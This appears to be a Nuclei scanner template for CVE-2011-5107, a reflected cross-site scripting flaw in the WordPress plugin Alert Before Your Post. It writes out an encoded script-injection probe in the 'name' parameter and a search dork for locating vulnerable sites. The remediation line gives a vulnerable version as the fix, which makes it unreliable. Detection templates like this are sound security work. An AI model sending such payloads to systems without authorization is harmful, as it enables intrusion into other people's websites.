id: CVE-2011-5107

info:
  name: Alert Before Your Post <= 0.1.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting  vulnerability in post_alert.php in Alert Before Your Post plugin, possibly 0.1.1 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the name parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Alert Before Your Post plugin (0.1.1) or remove the plugin if it is not necessary for the website's functionality.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5107 https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-alert-before-your-post-cross-site-scripting-0-1-1/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71413
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-5107
    cwe-id: CWE-79
    epss-score: 0.08772
    epss-percentile: 0.94497
    cpe: cpe:2.3:a:wordpress:alert_before_you_post:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: wordpress
    product: "alert_before_you_post"
    google-query: "inurl:\"/wp-content/plugins/alert-before-your-post\""
  tags: cve,cve2011,wordpress,xss,wp-plugin,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}'

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/alert-before-your-post/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/alert-before-your-post/trunk/post_alert.php?name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402207277fab6b3554daeea59df0721a9b8b480cd71182925dfce57b2fa79d107dc3002207b02de8c982b5b7a1449e4f62a6907f7d5f7ada158c53b05b73a5913e71bca2f:922c64590222798bb761d5b6d8e72950